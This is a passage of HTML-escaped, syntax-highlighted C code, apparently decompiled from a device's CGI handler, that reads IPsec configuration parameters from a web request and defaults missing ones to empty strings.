        &lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_endpoint_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_endpoint_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_endpoint_value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_endpoint_value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ipsec_netbios&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_netbios&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_netbios&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_netbios&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_local_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_local_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_local_start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_local_start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_local_subnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_local_subnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_local_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_remote_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_remote_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_remote_start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_remote_start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_remote_subnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_remote_subnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_remote_subnet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_spi_income&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_spi_income&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_spi_income&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_spi_income&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_spi_income&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_spi_income&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_spi_outgo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_spi_outgo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_spi_outgo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_spi_outgo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_spi_outgo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_spi_outgo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manual_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manual_ipsec_enc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manual_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manual_ipsec_enc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
